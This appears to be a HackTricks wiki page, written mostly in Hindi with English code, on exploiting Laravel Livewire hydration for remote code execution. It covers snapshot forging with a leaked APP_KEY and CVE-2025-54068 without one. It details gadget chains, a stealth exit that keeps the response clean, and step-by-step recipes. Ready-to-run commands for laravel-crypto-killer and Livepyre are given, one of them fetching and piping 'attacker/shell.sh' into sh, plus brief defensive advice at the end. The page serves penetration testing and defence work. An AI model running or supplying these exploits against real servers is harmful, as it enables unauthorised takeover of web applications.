Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Recap of the Livewire state machine

Livewire 3 components अपने state को snapshots के माध्यम से आदान-प्रदान करते हैं जिनमें data, memo, और एक checksum शामिल होता है। हर POST /livewire/update पर JSON snapshot को server-side पर पुनर्निर्मित किया जाता है और कतारबद्ध calls/updates निष्पादित होते हैं।

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

जिसके पास APP_KEY (जो $hashKey निकालने के लिए उपयोग होता है) है, वह HMAC को पुनः गणना करके इसलिए मनमाने स्नैपशॉट्स बना सकता है।

जटिल प्रॉपर्टीज़ को synthetic tuples के रूप में एन्कोड किया जाता है, जिन्हें Livewire\Drawer\BaseUtils::isSyntheticTuple() द्वारा पहचाना जाता है; प्रत्येक tuple [value, {"s":"<key>", ...meta}] होता है।

Hydration core बस हर tuple को HandleComponents::$propertySynthesizers में चुने गए synth को सौंपता है और children पर recursion करता है:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

यह recursive डिज़ाइन Livewire को एक सामान्य ऑब्जेक्ट-इंस्टैंटिएशन इंजन बना देता है जब कोई हमलावर ट्यूपल मेटाडेटा या recursion के दौरान प्रोसेस किए गए किसी भी nested ट्यूपल को नियंत्रित कर लेता है।

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)हर child को rehydrate करने के बाद new $meta['class']($value) इंस्टैंशिएट करता है। किसी भी array constructor वाला क्लास बनाया जा सकता है, और प्रत्येक आइटम स्वयं एक synthetic tuple हो सकता है.
FormObjectSynth (form)new $meta['class']($component, $path) कॉल करता है, फिर attacker-controlled बच्चों से हर public property को $hydrateChild के माध्यम से असाइन करता है। दो loosely typed parameters (या default args) स्वीकार करने वाले constructors arbitrary public properties तक पहुंचने के लिए पर्याप्त हैं.
ModelSynth (mdl)जब meta में key अनुपस्थित होता है तो यह return new $class; निष्पादित करता है, जिससे हमलावर नियंत्रित किसी भी क्लास का zero-argument इंस्टैंशिएशन संभव हो जाता है.

क्योंकि synths हर nested element पर $hydrateChild को invoke करते हैं, ट्यूपल्स को recursive तरीके से stack करके arbitrary gadget graphs बनाए जा सकते हैं।

Forging snapshots when APP_KEY is known

  1. एक वैध /livewire/update request कैप्चर करें और components[0].snapshot को डिकोड करें।
  2. nested tuples inject करें जो gadget classes की ओर इशारा करते हों और फिर checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) पुनः गणना करें।
  3. snapshot को फिर से encode करें, _token/memo को बिना छेड़े रखें, और request को replay करें।

एक न्यूनतम proof of execution Guzzle’s FnStream और Flysystem’s ShardedPrefixPublicUrlGenerator का उपयोग करता है। एक ट्यूपल FnStream को constructor data { "__toString": "phpinfo" } के साथ instantiate करता है, अगला ShardedPrefixPublicUrlGenerator को [FnStreamInstance] को $prefixes के रूप में instantiate करता है। जब Flysystem हर prefix को string में cast करता है, PHP attacker-provided __toString callable को invoke करता है, जो बिना arguments किसी भी function को कॉल कर देता है।

From function calls to full RCE

Livewire की instantiation primitives का लाभ उठाते हुए, Synacktiv ने phpggc के Laravel/RCE4 chain को इस तरह adapt किया कि hydration एक ऐसा object बूट करे जिसका public Queueable state deserialization को ट्रिगर करे:

  1. Queueable trait – कोई भी object जो Illuminate\Bus\Queueable का उपयोग करता है, public $chained expose करता है और dispatchNextJobInChain() में unserialize(array_shift($this->chained)) को execute करता है।
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) को CollectionSynth / FormObjectSynth के माध्यम से instantiate किया जाता है और public $chained populated होता है।
  3. phpggc Laravel/RCE4Adapted$chained[0] में संग्रहीत serialized blob PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed बनाता है। Signed::__invoke() अंततः call_user_func_array($closure, $args) को कॉल करता है, जिससे system($cmd) सक्षम होता है।
  4. Stealth termination – एक दूसरे FnStream callable जैसे [new Laravel\Prompts\Terminal(), 'exit'] सौंपकर, request exit() के साथ समाप्त होता है बजाय कि एक शोर-भरी exception के, जिससे HTTP response साफ़ रहता है।

Automating snapshot forgery

synacktiv/laravel-crypto-killer अब एक livewire mode के साथ आता है जो सब कुछ जोड़ देता है:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

यह टूल कैप्चर किए गए स्नैपशॉट को पार्स करता है, gadget tuples इंजेक्ट करता है, checksum पुनः गणना करता है, और भेजने के लिए तैयार /livewire/update payload प्रिंट करता है।

CVE-2025-54068 – RCE without APP_KEY

updates snapshot checksum वैलिडेट होने के बाद component state में मर्ज हो जाते हैं। अगर snapshot के अंदर कोई property (या वह बन जाता है) एक सिंथेटिक ट्यूपल है, तो Livewire उसकी meta को पुनः उपयोग करता है जबकि वह हमलावर-नियंत्रित अपडेट मान को हाइड्रेट कर रहा होता है:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. ऐसे Livewire component को खोजें जिसमें बिना टाइप वाली public property हो (उदा., public $count;).
  2. उस property को [] सेट करने वाला एक update भेजें। अगला snapshot अब इसे [[], {"s": "arr"}] के रूप में संग्रहीत करता है।
  3. एक और updates payload तैयार करें जहाँ वह property गहरे nested array में tuples embed करती है जैसे [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. रिकर्शन के दौरान, hydrate() प्रत्येक nested child को स्वतंत्र रूप से evaluate करता है, इसलिए हमलावर द्वारा चुने गए synth keys/classes मान्य होते हैं भले ही बाहरी tuple और checksum कभी बदलें नहीं।
  5. उसी CollectionSynth/FormObjectSynth primitives को दोबारा उपयोग करके एक Queueable gadget instantiate करें जिसका $chained[0] phpggc payload रखता है। Livewire forged updates को प्रोसेस करता है, dispatchNextJobInChain() को invoke करता है, और system(<cmd>) तक पहुँचता है बिना APP_KEY जाने हुए।

Key reasons this works:

  • updates snapshot checksum द्वारा कवर नहीं होते।
  • getMetaForPath() उस synth metadata पर भरोसा करता है जो पहले से उस property के लिए मौजूद था, भले ही हमलावर ने पहले weak typing के माध्यम से इसे tuple बना दिया हो।
  • Recursion और weak typing मिलकर प्रत्येक nested array को एक नए tuple के रूप में interpret करने देते हैं, इसलिए arbitrary synth keys और arbitrary classes अंततः hydration तक पहुँच जाते हैं।

Livepyre – end-to-end exploitation

Livepyre दोनों को automate करता है: APP_KEY-less CVE और signed-snapshot path:

  • <script src="/livewire/livewire.js?id=HASH"> को parse करके deployed Livewire version का fingerprint बनाता है और hash को vulnerable releases से map करता है।
  • benign actions को replay करके और components[].snapshot निकालकर baseline snapshots collect करता है।
  • या तो updates-only payload (CVE-2025-54068) generate करता है या एक forged snapshot (यदि APP_KEY ज्ञात हो) जिसमें phpggc chain embed होता है।

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check एक गैर-विनाशकारी परीक्षण चलाता है, -F version gating को skip करता है, -H और -P custom headers या proxies जोड़ते हैं, और --function/--param gadget chain द्वारा invoke की जाने वाली php function को customise करते हैं।

रक्षात्मक विचार

  • निर्माता बुलेटिन के अनुसार fixed Livewire builds (>= 3.6.4) पर अपग्रेड करें और CVE-2025-54068 के लिए vendor patch लागू करें।
  • Livewire components में weakly typed public properties से बचें; स्पष्ट scalar प्रकार property मानों को arrays/tuples में coercion होने से रोकते हैं।
  • केवल उन्हीं synthesizers को रजिस्टर करें जिनकी आपको वास्तव में आवश्यकता है और उपयोगकर्ता-नियंत्रित metadata ($meta['class']) को अविश्वसनीय समझें।
  • उन updates को अस्वीकार करें जो किसी property के JSON प्रकार को बदलते हैं (उदा., scalar -> array), जब तक स्पष्ट रूप से अनुमति न हो; और stale tuples को reuse करने के बजाय synth metadata को पुनः-व्युत्पन्न करें।
  • किसी भी disclosure के बाद तुरंत APP_KEY को rotate करें क्योंकि यह offline snapshot forging सक्षम करता है, चाहे code-base कितना भी patched क्यों न हो।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें